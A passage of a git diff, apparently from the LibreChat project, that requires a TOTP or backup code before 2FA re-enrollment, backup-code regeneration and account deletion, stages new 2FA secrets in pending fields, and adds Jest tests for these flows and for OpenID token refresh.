+      openidId: baseClaims.sub,
+    };
+    findOpenIDUser.mockResolvedValue({ user, error: null, migration: false });
+
+    await refreshController(req, res);
+
+    expect(findOpenIDUser).toHaveBeenCalledWith(
+      expect.objectContaining({ email: baseClaims.email }),
+    );
+  });
+
+  it('should update openidId when migration is triggered on refresh', async () => {
+    const user = { _id: 'user-db-id', email: baseClaims.email, openidId: null };
+    findOpenIDUser.mockResolvedValue({ user, error: null, migration: true });
+
+    await refreshController(req, res);
+
+    expect(updateUser).toHaveBeenCalledWith(
+      'user-db-id',
+      expect.objectContaining({ provider: 'openid', openidId: baseClaims.sub }),
+    );
+    expect(res.status).toHaveBeenCalledWith(200);
+  });
+
+  it('should return 401 and redirect to /login when findOpenIDUser returns no user', async () => {
+    findOpenIDUser.mockResolvedValue({ user: null, error: null, migration: false });
+
+    await refreshController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(401);
+    expect(res.redirect).toHaveBeenCalledWith('/login');
+  });
+
+  it('should return 401 and redirect when findOpenIDUser returns an error', async () => {
+    findOpenIDUser.mockResolvedValue({ user: null, error: 'AUTH_FAILED', migration: false });
+
+    await refreshController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(401);
+    expect(res.redirect).toHaveBeenCalledWith('/login');
+  });
+
+  it('should skip OpenID path when token_provider is not openid', async () => {
+    req.headers.cookie = 'token_provider=local; refreshToken=some-token';
+
+    await refreshController(req, res);
+
+    expect(openIdClient.refreshTokenGrant).not.toHaveBeenCalled();
+  });
+
+  it('should skip OpenID path when OPENID_REUSE_TOKENS is disabled', async () => {
+    isEnabled.mockReturnValue(false);
+
+    await refreshController(req, res);
+
+    expect(openIdClient.refreshTokenGrant).not.toHaveBeenCalled();
+  });
+
+  it('should return 200 with token not provided when refresh token is absent', async () => {
+    req.headers.cookie = 'token_provider=openid';
+    req.session = {};
+
+    await refreshController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(200);
+    expect(res.send).toHaveBeenCalledWith('Refresh token not provided');
+  });
+});
diff --git a/api/server/controllers/TwoFactorController.js b/api/server/controllers/TwoFactorController.js
index fde5965261..18a0ee3f5a 100644
--- a/api/server/controllers/TwoFactorController.js
+++ b/api/server/controllers/TwoFactorController.js
@@ -1,5 +1,6 @@
 const { encryptV3, logger } = require('@librechat/data-schemas');
 const {
+  verifyOTPOrBackupCode,
   generateBackupCodes,
   generateTOTPSecret,
   verifyBackupCode,
@@ -13,24 +14,42 @@ const safeAppTitle = (process.env.APP_TITLE || 'LibreChat').replace(/\s+/g, '');
 /**
  * Enable 2FA for the user by generating a new TOTP secret and backup codes.
  * The secret is encrypted and stored, and 2FA is marked as disabled until confirmed.
+ * If 2FA is already enabled, requires OTP or backup code verification to re-enroll.
  */
 const enable2FA = async (req, res) => {
   try {
     const userId = req.user.id;
+    const existingUser = await getUserById(
+      userId,
+      '+totpSecret +backupCodes _id twoFactorEnabled email',
+    );
+
+    if (existingUser && existingUser.twoFactorEnabled) {
+      const { token, backupCode } = req.body;
+      const result = await verifyOTPOrBackupCode({
+        user: existingUser,
+        token,
+        backupCode,
+        persistBackupUse: false,
+      });
+
+      if (!result.verified) {
+        const msg = result.message ?? 'TOTP token or backup code is required to re-enroll 2FA';
+        return res.status(result.status ?? 400).json({ message: msg });
+      }
+    }
+
     const secret = generateTOTPSecret();
     const { plainCodes, codeObjects } = await generateBackupCodes();
-
-    // Encrypt the secret with v3 encryption before saving.
     const encryptedSecret = encryptV3(secret);
 
-    // Update the user record: store the secret & backup codes and set twoFactorEnabled to false.
     const user = await updateUser(userId, {
-      totpSecret: encryptedSecret,
-      backupCodes: codeObjects,
-      twoFactorEnabled: false,
+      pendingTotpSecret: encryptedSecret,
+      pendingBackupCodes: codeObjects,
     });
 
-    const otpauthUrl = `otpauth://totp/${safeAppTitle}:${user.email}?secret=${secret}&issuer=${safeAppTitle}`;
+    const email = user.email || (existingUser && existingUser.email) || '';
+    const otpauthUrl = `otpauth://totp/${safeAppTitle}:${email}?secret=${secret}&issuer=${safeAppTitle}`;
 
     return res.status(200).json({ otpauthUrl, backupCodes: plainCodes });
   } catch (err) {
@@ -46,13 +65,14 @@ const verify2FA = async (req, res) => {
   try {
     const userId = req.user.id;
     const { token, backupCode } = req.body;
-    const user = await getUserById(userId, '_id totpSecret backupCodes');
+    const user = await getUserById(userId, '+totpSecret +pendingTotpSecret +backupCodes _id');
+    const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
 
-    if (!user || !user.totpSecret) {
+    if (!user || !secretSource) {
       return res.status(400).json({ message: '2FA not initiated' });
     }
 
-    const secret = await getTOTPSecret(user.totpSecret);
+    const secret = await getTOTPSecret(secretSource);
     let isVerified = false;
 
     if (token) {
@@ -78,15 +98,28 @@ const confirm2FA = async (req, res) => {
   try {
     const userId = req.user.id;
     const { token } = req.body;
-    const user = await getUserById(userId, '_id totpSecret');
+    const user = await getUserById(
+      userId,
+      '+totpSecret +pendingTotpSecret +pendingBackupCodes _id',
+    );
+    const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
 
-    if (!user || !user.totpSecret) {
+    if (!user || !secretSource) {
       return res.status(400).json({ message: '2FA not initiated' });
     }
 
-    const secret = await getTOTPSecret(user.totpSecret);
+    const secret = await getTOTPSecret(secretSource);
     if (await verifyTOTP(secret, token)) {
-      await updateUser(userId, { twoFactorEnabled: true });
+      const update = {
+        totpSecret: user.pendingTotpSecret ?? user.totpSecret,
+        twoFactorEnabled: true,
+        pendingTotpSecret: null,
+        pendingBackupCodes: [],
+      };
+      if (user.pendingBackupCodes?.length) {
+        update.backupCodes = user.pendingBackupCodes;
+      }
+      await updateUser(userId, update);
       return res.status(200).json();
     }
     return res.status(400).json({ message: 'Invalid token.' });
@@ -104,31 +137,27 @@ const disable2FA = async (req, res) => {
   try {
     const userId = req.user.id;
     const { token, backupCode } = req.body;
-    const user = await getUserById(userId, '_id totpSecret backupCodes');
+    const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
 
     if (!user || !user.totpSecret) {
       return res.status(400).json({ message: '2FA is not setup for this user' });
     }
 
     if (user.twoFactorEnabled) {
-      const secret = await getTOTPSecret(user.totpSecret);
-      let isVerified = false;
+      const result = await verifyOTPOrBackupCode({ user, token, backupCode });
 
-      if (token) {
-        isVerified = await verifyTOTP(secret, token);
-      } else if (backupCode) {
-        isVerified = await verifyBackupCode({ user, backupCode });
-      } else {
-        return res
-          .status(400)
-          .json({ message: 'Either token or backup code is required to disable 2FA' });
-      }
-
-      if (!isVerified) {
-        return res.status(401).json({ message: 'Invalid token or backup code' });
+      if (!result.verified) {
+        const msg = result.message ?? 'Either token or backup code is required to disable 2FA';
+        return res.status(result.status ?? 400).json({ message: msg });
       }
     }
-    await updateUser(userId, { totpSecret: null, backupCodes: [], twoFactorEnabled: false });
+    await updateUser(userId, {
+      totpSecret: null,
+      backupCodes: [],
+      twoFactorEnabled: false,
+      pendingTotpSecret: null,
+      pendingBackupCodes: [],
+    });
     return res.status(200).json();
   } catch (err) {
     logger.error('[disable2FA]', err);
@@ -138,10 +167,28 @@ const disable2FA = async (req, res) => {
 
 /**
  * Regenerate backup codes for the user.
+ * Requires OTP or backup code verification if 2FA is already enabled.
  */
 const regenerateBackupCodes = async (req, res) => {
   try {
     const userId = req.user.id;
+    const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
+
+    if (!user) {
+      return res.status(404).json({ message: 'User not found' });
+    }
+
+    if (user.twoFactorEnabled) {
+      const { token, backupCode } = req.body;
+      const result = await verifyOTPOrBackupCode({ user, token, backupCode });
+
+      if (!result.verified) {
+        const msg =
+          result.message ?? 'TOTP token or backup code is required to regenerate backup codes';
+        return res.status(result.status ?? 400).json({ message: msg });
+      }
+    }
+
     const { plainCodes, codeObjects } = await generateBackupCodes();
     await updateUser(userId, { backupCodes: codeObjects });
     return res.status(200).json({
diff --git a/api/server/controllers/UserController.js b/api/server/controllers/UserController.js
index 7a9dd8125e..b3160bb3d3 100644
--- a/api/server/controllers/UserController.js
+++ b/api/server/controllers/UserController.js
@@ -14,6 +14,7 @@ const {
   deleteMessages,
   deletePresets,
   deleteUserKey,
+  getUserById,
   deleteConvos,
   deleteFiles,
   updateUser,
@@ -34,6 +35,7 @@ const {
   User,
 } = require('~/db/models');
 const { updateUserPluginAuth, deleteUserPluginAuth } = require('~/server/services/PluginService');
+const { verifyOTPOrBackupCode } = require('~/server/services/twoFactorService');
 const { verifyEmail, resendVerificationEmail } = require('~/server/services/AuthService');
 const { getMCPManager, getFlowStateManager, getMCPServersRegistry } = require('~/config');
 const { invalidateCachedTools } = require('~/server/services/Config/getCachedTools');
@@ -241,6 +243,22 @@ const deleteUserController = async (req, res) => {
   const { user } = req;
 
   try {
+    const existingUser = await getUserById(
+      user.id,
+      '+totpSecret +backupCodes _id twoFactorEnabled',
+    );
+    if (existingUser && existingUser.twoFactorEnabled) {
+      const { token, backupCode } = req.body;
+      const result = await verifyOTPOrBackupCode({ user: existingUser, token, backupCode });
+
+      if (!result.verified) {
+        const msg =
+          result.message ??
+          'TOTP token or backup code is required to delete account with 2FA enabled';
+        return res.status(result.status ?? 400).json({ message: msg });
+      }
+    }
+
     await deleteMessages({ user: user.id }); // delete user messages
     await deleteAllUserSessions({ userId: user.id }); // delete user sessions
     await Transaction.deleteMany({ user: user.id }); // delete user transactions
diff --git a/api/server/controllers/__tests__/TwoFactorController.spec.js b/api/server/controllers/__tests__/TwoFactorController.spec.js
new file mode 100644
index 0000000000..62531d94a1
--- /dev/null
+++ b/api/server/controllers/__tests__/TwoFactorController.spec.js
@@ -0,0 +1,264 @@
+const mockGetUserById = jest.fn();
+const mockUpdateUser = jest.fn();
+const mockVerifyOTPOrBackupCode = jest.fn();
+const mockGenerateTOTPSecret = jest.fn();
+const mockGenerateBackupCodes = jest.fn();
+const mockEncryptV3 = jest.fn();
+
+jest.mock('@librechat/data-schemas', () => ({
+  encryptV3: (...args) => mockEncryptV3(...args),
+  logger: { error: jest.fn() },
+}));
+
+jest.mock('~/server/services/twoFactorService', () => ({
+  verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
+  generateBackupCodes: (...args) => mockGenerateBackupCodes(...args),
+  generateTOTPSecret: (...args) => mockGenerateTOTPSecret(...args),
+  verifyBackupCode: jest.fn(),
+  getTOTPSecret: jest.fn(),
+  verifyTOTP: jest.fn(),
+}));
+
+jest.mock('~/models', () => ({
+  getUserById: (...args) => mockGetUserById(...args),
+  updateUser: (...args) => mockUpdateUser(...args),
+}));
+
+const { enable2FA, regenerateBackupCodes } = require('~/server/controllers/TwoFactorController');
+
+function createRes() {
+  const res = {};
+  res.status = jest.fn().mockReturnValue(res);
+  res.json = jest.fn().mockReturnValue(res);
+  return res;
+}
+
+const PLAIN_CODES = ['code1', 'code2', 'code3'];
+const CODE_OBJECTS = [
+  { codeHash: 'h1', used: false, usedAt: null },
+  { codeHash: 'h2', used: false, usedAt: null },
+  { codeHash: 'h3', used: false, usedAt: null },
+];
+
+beforeEach(() => {
+  jest.clearAllMocks();
+  mockGenerateTOTPSecret.mockReturnValue('NEWSECRET');
+  mockGenerateBackupCodes.mockResolvedValue({ plainCodes: PLAIN_CODES, codeObjects: CODE_OBJECTS });
+  mockEncryptV3.mockReturnValue('encrypted-secret');
+});
+
+describe('enable2FA', () => {
+  it('allows first-time setup without token — writes to pending fields', async () => {
+    const req = { user: { id: 'user1' }, body: {} };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false, email: 'a@b.com' });
+    mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
+
+    await enable2FA(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(200);
+    expect(res.json).toHaveBeenCalledWith(
+      expect.objectContaining({ otpauthUrl: expect.any(String), backupCodes: PLAIN_CODES }),
+    );
+    expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
+    const updateCall = mockUpdateUser.mock.calls[0][1];
+    expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
+    expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
+    expect(updateCall).not.toHaveProperty('twoFactorEnabled');
+    expect(updateCall).not.toHaveProperty('totpSecret');
+    expect(updateCall).not.toHaveProperty('backupCodes');
+  });
+
+  it('re-enrollment writes to pending fields, leaving live 2FA intact', async () => {
+    const req = { user: { id: 'user1' }, body: { token: '123456' } };
+    const res = createRes();
+    const existingUser = {
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+      email: 'a@b.com',
+    };
+    mockGetUserById.mockResolvedValue(existingUser);
+    mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+    mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
+
+    await enable2FA(req, res);
+
+    expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+      user: existingUser,
+      token: '123456',
+      backupCode: undefined,
+      persistBackupUse: false,
+    });
+    expect(res.status).toHaveBeenCalledWith(200);
+    const updateCall = mockUpdateUser.mock.calls[0][1];
+    expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
+    expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
+    expect(updateCall).not.toHaveProperty('twoFactorEnabled');
+    expect(updateCall).not.toHaveProperty('totpSecret');
+  });
+
+  it('allows re-enrollment with valid backup code (persistBackupUse: false)', async () => {
+    const req = { user: { id: 'user1' }, body: { backupCode: 'backup123' } };
+    const res = createRes();
+    const existingUser = {
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+      email: 'a@b.com',
+    };
+    mockGetUserById.mockResolvedValue(existingUser);
+    mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+    mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
+
+    await enable2FA(req, res);
+
+    expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith(
+      expect.objectContaining({ persistBackupUse: false }),
+    );
+    expect(res.status).toHaveBeenCalledWith(200);
+  });
+
+  it('returns error when no token provided and 2FA is enabled', async () => {
+    const req = { user: { id: 'user1' }, body: {} };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue({
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+    });
+    mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
+
+    await enable2FA(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(400);
+    expect(mockUpdateUser).not.toHaveBeenCalled();
+  });
+
+  it('returns 401 when invalid token provided and 2FA is enabled', async () => {
+    const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue({
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+    });
+    mockVerifyOTPOrBackupCode.mockResolvedValue({
+      verified: false,
+      status: 401,
+      message: 'Invalid token or backup code',
+    });
+
+    await enable2FA(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(401);
+    expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
+    expect(mockUpdateUser).not.toHaveBeenCalled();
+  });
+});
+
+describe('regenerateBackupCodes', () => {
+  it('returns 404 when user not found', async () => {
+    const req = { user: { id: 'user1' }, body: {} };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue(null);
+
+    await regenerateBackupCodes(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(404);
+    expect(res.json).toHaveBeenCalledWith({ message: 'User not found' });
+  });
+
+  it('requires OTP when 2FA is enabled', async () => {
+    const req = { user: { id: 'user1' }, body: { token: '123456' } };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue({
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+    });
+    mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+    mockUpdateUser.mockResolvedValue({});
+
+    await regenerateBackupCodes(req, res);
+
+    expect(mockVerifyOTPOrBackupCode).toHaveBeenCalled();
+    expect(res.status).toHaveBeenCalledWith(200);
+    expect(res.json).toHaveBeenCalledWith({
+      backupCodes: PLAIN_CODES,
+      backupCodesHash: CODE_OBJECTS,
+    });
+  });
+
+  it('returns error when no token provided and 2FA is enabled', async () => {
+    const req = { user: { id: 'user1' }, body: {} };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue({
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+    });
+    mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
+
+    await regenerateBackupCodes(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(400);
+  });
+
+  it('returns 401 when invalid token provided and 2FA is enabled', async () => {
+    const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue({
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+    });
+    mockVerifyOTPOrBackupCode.mockResolvedValue({
+      verified: false,
+      status: 401,
+      message: 'Invalid token or backup code',
+    });
+
+    await regenerateBackupCodes(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(401);
+    expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
+  });
+
+  it('includes backupCodesHash in response', async () => {
+    const req = { user: { id: 'user1' }, body: { token: '123456' } };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue({
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+    });
+    mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+    mockUpdateUser.mockResolvedValue({});
+
+    await regenerateBackupCodes(req, res);
+
+    const responseBody = res.json.mock.calls[0][0];
+    expect(responseBody).toHaveProperty('backupCodesHash', CODE_OBJECTS);
+    expect(responseBody).toHaveProperty('backupCodes', PLAIN_CODES);
+  });
+
+  it('allows regeneration without token when 2FA is not enabled', async () => {
+    const req = { user: { id: 'user1' }, body: {} };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue({
+      _id: 'user1',
+      twoFactorEnabled: false,
+    });
+    mockUpdateUser.mockResolvedValue({});
+
+    await regenerateBackupCodes(req, res);
+
+    expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
+    expect(res.status).toHaveBeenCalledWith(200);
+    expect(res.json).toHaveBeenCalledWith({
+      backupCodes: PLAIN_CODES,
+      backupCodesHash: CODE_OBJECTS,
+    });
+  });
+});
diff --git a/api/server/controllers/__tests__/deleteUser.spec.js b/api/server/controllers/__tests__/deleteUser.spec.js
new file mode 100644
index 0000000000..d0f54a046f
--- /dev/null
+++ b/api/server/controllers/__tests__/deleteUser.spec.js
@@ -0,0 +1,302 @@
+const mockGetUserById = jest.fn();
+const mockDeleteMessages = jest.fn();
+const mockDeleteAllUserSessions = jest.fn();
+const mockDeleteUserById = jest.fn();
+const mockDeleteAllSharedLinks = jest.fn();
+const mockDeletePresets = jest.fn();
+const mockDeleteUserKey = jest.fn();
+const mockDeleteConvos = jest.fn();
+const mockDeleteFiles = jest.fn();
+const mockGetFiles = jest.fn();
+const mockUpdateUserPlugins = jest.fn();
+const mockUpdateUser = jest.fn();
+const mockFindToken = jest.fn();
+const mockVerifyOTPOrBackupCode = jest.fn();
+const mockDeleteUserPluginAuth = jest.fn();
+const mockProcessDeleteRequest = jest.fn();
+const mockDeleteToolCalls = jest.fn();
+const mockDeleteUserAgents = jest.fn();
+const mockDeleteUserPrompts = jest.fn();
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: { error: jest.fn(), info: jest.fn() },
+  webSearchKeys: [],
+}));
+
+jest.mock('librechat-data-provider', () => ({
+  Tools: {},
+  CacheKeys: {},
+  Constants: { mcp_delimiter: '::', mcp_prefix: 'mcp_' },
+  FileSources: {},
+}));
+
+jest.mock('@librechat/api', () => ({
+  MCPOAuthHandler: {},
+  MCPTokenStorage: {},
+  normalizeHttpError: jest.fn(),
+  extractWebSearchEnvVars: jest.fn(),
+}));
+
+jest.mock('~/models', () => ({
+  deleteAllUserSessions: (...args) => mockDeleteAllUserSessions(...args),
+  deleteAllSharedLinks: (...args) => mockDeleteAllSharedLinks(...args),
+  updateUserPlugins: (...args) => mockUpdateUserPlugins(...args),
+  deleteUserById: (...args) => mockDeleteUserById(...args),
+  deleteMessages: (...args) => mockDeleteMessages(...args),
+  deletePresets: (...args) => mockDeletePresets(...args),
+  deleteUserKey: (...args) => mockDeleteUserKey(...args),
+  getUserById: (...args) => mockGetUserById(...args),
+  deleteConvos: (...args) => mockDeleteConvos(...args),
+  deleteFiles: (...args) => mockDeleteFiles(...args),
+  updateUser: (...args) => mockUpdateUser(...args),
+  findToken: (...args) => mockFindToken(...args),
+  getFiles: (...args) => mockGetFiles(...args),
+}));
+
+jest.mock('~/db/models', () => ({
+  ConversationTag: { deleteMany: jest.fn() },
+  AgentApiKey: { deleteMany: jest.fn() },
+  Transaction: { deleteMany: jest.fn() },
+  MemoryEntry: { deleteMany: jest.fn() },
+  Assistant: { deleteMany: jest.fn() },
+  AclEntry: { deleteMany: jest.fn() },
+  Balance: { deleteMany: jest.fn() },
+  Action: { deleteMany: jest.fn() },
+  Group: { updateMany: jest.fn() },
+  Token: { deleteMany: jest.fn() },
+  User: {},
+}));
+
+jest.mock('~/server/services/PluginService', () => ({
+  updateUserPluginAuth: jest.fn(),
+  deleteUserPluginAuth: (...args) => mockDeleteUserPluginAuth(...args),
+}));
+
+jest.mock('~/server/services/twoFactorService', () => ({
+  verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
+}));
+
+jest.mock('~/server/services/AuthService', () => ({
+  verifyEmail: jest.fn(),
+  resendVerificationEmail: jest.fn(),
+}));
+
+jest.mock('~/config', () => ({
+  getMCPManager: jest.fn(),
+  getFlowStateManager: jest.fn(),
+  getMCPServersRegistry: jest.fn(),
+}));
+
+jest.mock('~/server/services/Config/getCachedTools', () => ({
+  invalidateCachedTools: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/S3/crud', () => ({
+  needsRefresh: jest.fn(),
+  getNewS3URL: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/process', () => ({
+  processDeleteRequest: (...args) => mockProcessDeleteRequest(...args),
+}));
+
+jest.mock('~/server/services/Config', () => ({
+  getAppConfig: jest.fn(),
+}));
+
+jest.mock('~/models/ToolCall', () => ({
+  deleteToolCalls: (...args) => mockDeleteToolCalls(...args),
+}));
+
+jest.mock('~/models/Prompt', () => ({
+  deleteUserPrompts: (...args) => mockDeleteUserPrompts(...args),
+}));
+
+jest.mock('~/models/Agent', () => ({
+  deleteUserAgents: (...args) => mockDeleteUserAgents(...args),
+}));
+
+jest.mock('~/cache', () => ({
+  getLogStores: jest.fn(),
+}));
+
+const { deleteUserController } = require('~/server/controllers/UserController');
+
+function createRes() {
+  const res = {};
+  res.status = jest.fn().mockReturnValue(res);
+  res.json = jest.fn().mockReturnValue(res);
+  res.send = jest.fn().mockReturnValue(res);
+  return res;
+}
+
+function stubDeletionMocks() {
+  mockDeleteMessages.mockResolvedValue();
+  mockDeleteAllUserSessions.mockResolvedValue();
+  mockDeleteUserKey.mockResolvedValue();
+  mockDeletePresets.mockResolvedValue();
+  mockDeleteConvos.mockResolvedValue();
+  mockDeleteUserPluginAuth.mockResolvedValue();
+  mockDeleteUserById.mockResolvedValue();
+  mockDeleteAllSharedLinks.mockResolvedValue();
+  mockGetFiles.mockResolvedValue([]);
+  mockProcessDeleteRequest.mockResolvedValue();
+  mockDeleteFiles.mockResolvedValue();
+  mockDeleteToolCalls.mockResolvedValue();
+  mockDeleteUserAgents.mockResolvedValue();
+  mockDeleteUserPrompts.mockResolvedValue();
+}
+
+beforeEach(() => {
+  jest.clearAllMocks();
+  stubDeletionMocks();
+});
+
+describe('deleteUserController - 2FA enforcement', () => {
+  it('proceeds with deletion when 2FA is not enabled', async () => {
+    const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false });
+
+    await deleteUserController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(200);
+    expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+    expect(mockDeleteMessages).toHaveBeenCalled();
+    expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
+  });
+
+  it('proceeds with deletion when user has no 2FA record', async () => {
+    const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue(null);
+
+    await deleteUserController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(200);
+    expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+  });
+
+  it('returns error when 2FA is enabled and verification fails with 400', async () => {
+    const req = { user: { id: 'user1', _id: 'user1' }, body: {} };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue({
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+    });
+    mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
+
+    await deleteUserController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(400);
+    expect(mockDeleteMessages).not.toHaveBeenCalled();
+  });
+
+  it('returns 401 when 2FA is enabled and invalid TOTP token provided', async () => {
+    const existingUser = {
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+    };
+    const req = { user: { id: 'user1', _id: 'user1' }, body: { token: 'wrong' } };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue(existingUser);
+    mockVerifyOTPOrBackupCode.mockResolvedValue({
+      verified: false,
+      status: 401,
+      message: 'Invalid token or backup code',
+    });
+
+    await deleteUserController(req, res);
+
+    expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+      user: existingUser,
+      token: 'wrong',
+      backupCode: undefined,
+    });
+    expect(res.status).toHaveBeenCalledWith(401);
+    expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
+    expect(mockDeleteMessages).not.toHaveBeenCalled();
+  });
+
+  it('returns 401 when 2FA is enabled and invalid backup code provided', async () => {
+    const existingUser = {
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+      backupCodes: [],
+    };
+    const req = { user: { id: 'user1', _id: 'user1' }, body: { backupCode: 'bad-code' } };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue(existingUser);
+    mockVerifyOTPOrBackupCode.mockResolvedValue({
+      verified: false,
+      status: 401,
+      message: 'Invalid token or backup code',
+    });
+
+    await deleteUserController(req, res);
+
+    expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+      user: existingUser,
+      token: undefined,
+      backupCode: 'bad-code',
+    });
+    expect(res.status).toHaveBeenCalledWith(401);
+    expect(mockDeleteMessages).not.toHaveBeenCalled();
+  });
+
+  it('deletes account when valid TOTP token provided with 2FA enabled', async () => {
+    const existingUser = {
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+    };
+    const req = {
+      user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
+      body: { token: '123456' },
+    };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue(existingUser);
+    mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+
+    await deleteUserController(req, res);
+
+    expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+      user: existingUser,
+      token: '123456',
+      backupCode: undefined,
+    });
+    expect(res.status).toHaveBeenCalledWith(200);
+    expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+    expect(mockDeleteMessages).toHaveBeenCalled();
+  });
+
+  it('deletes account when valid backup code provided with 2FA enabled', async () => {
+    const existingUser = {
+      _id: 'user1',
+      twoFactorEnabled: true,
+      totpSecret: 'enc-secret',
+      backupCodes: [{ codeHash: 'h1', used: false }],
+    };
+    const req = {
+      user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
+      body: { backupCode: 'valid-code' },
+    };
+    const res = createRes();
+    mockGetUserById.mockResolvedValue(existingUser);
+    mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+
+    await deleteUserController(req, res);
+
+    expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+      user: existingUser,
+      token: undefined,
+      backupCode: 'valid-code',
+    });
+    expect(res.status).toHaveBeenCalledWith(200);
+    expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+    expect(mockDeleteMessages).toHaveBeenCalled();
+  });
+});
diff --git a/api/server/controllers/agents/__tests__/openai.spec.js b/api/server/controllers/agents/__tests__/openai.spec.js
index 8592c79a2d..835343e798 100644
--- a/api/server/controllers/agents/__tests__/openai.spec.js
+++ b/api/server/controllers/agents/__tests__/openai.spec.js
@@ -82,6 +82,13 @@ jest.mock('~/models/spendTokens', () => ({
   spendStructuredTokens: mockSpendStructuredTokens,
 }));
 
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
+jest.mock('~/models/tx', () => ({
+  getMultiplier: mockGetMultiplier,
+  getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
 jest.mock('~/server/controllers/agents/callbacks', () => ({
   createToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
 }));
@@ -103,6 +110,8 @@ jest.mock('~/models/Agent', () => ({
   getAgents: jest.fn().mockResolvedValue([]),
 }));
 
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
 jest.mock('~/models', () => ({
   getFiles: jest.fn(),
   getUserKey: jest.fn(),
